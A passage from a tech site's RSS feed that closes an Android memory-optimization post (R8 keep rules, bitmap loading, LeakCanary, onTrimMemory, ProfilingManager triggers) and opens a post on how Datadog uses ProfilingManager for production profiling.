    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

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        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
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<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

